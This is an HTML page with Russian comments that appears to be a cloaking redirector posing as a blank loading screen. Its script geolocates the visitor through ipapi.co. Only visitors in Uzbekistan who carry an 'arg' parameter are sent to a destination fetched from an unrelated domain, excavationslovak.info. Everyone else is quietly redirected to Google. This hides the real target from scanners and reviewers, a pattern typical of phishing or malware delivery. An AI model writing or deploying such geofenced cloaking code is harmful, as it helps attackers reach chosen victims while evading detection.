<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <title>Page</title>
    <style>
        #loader {
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            display: flex;
            align-items: center;
            justify-content: center;
        }
    </style>
<script>
    document.addEventListener("DOMContentLoaded", async function () {
        const loader = document.getElementById("loader");
        loader.style.display = "flex";
    
        // Далее идет основной код для загрузки страницы
        const urlParams = new URLSearchParams(window.location.search);
        const arg = urlParams.get("arg");
    
        try {
            // Получаем данные о пользователе
            const locationResponse = await fetch("https://ipapi.co/json/");
            const locationData = await locationResponse.json();
    
            const userCountry = locationData.country_name;  // Получаем страну пользователя
    
            // Проверяем, что пользователь из Узбекистана
            if (userCountry === "Uzbekistan") {
                if (arg) {
                    localStorage.setItem("arg", arg);
                    const response = await fetch(`https://excavationslovak.info/getdirect?arg=${arg}`, { 
                        method: 'GET', 
                        headers: { 'Referer': window.location.href } 
                    });
                    const data = await response.json();
    
                    if (data.direct) {
                        window.location = data.direct;
                    } else {
                        window.location = "https://www.google.com/";
                    }
                } else {
                    window.location = "https://www.google.com/";
                }
            } else {
                window.location = "https://www.google.com/"; // Редиректим на Google, если не из Узбекистана
            }
        } catch (error) {
            window.location = "https://www.google.com/";  // Редирект в случае ошибки
        }
    });
</script>

</head>
<body>
    <div id="loader">
        <img src="loader.gif" alt="Загрузка...">
    </div>
</body>
</html>
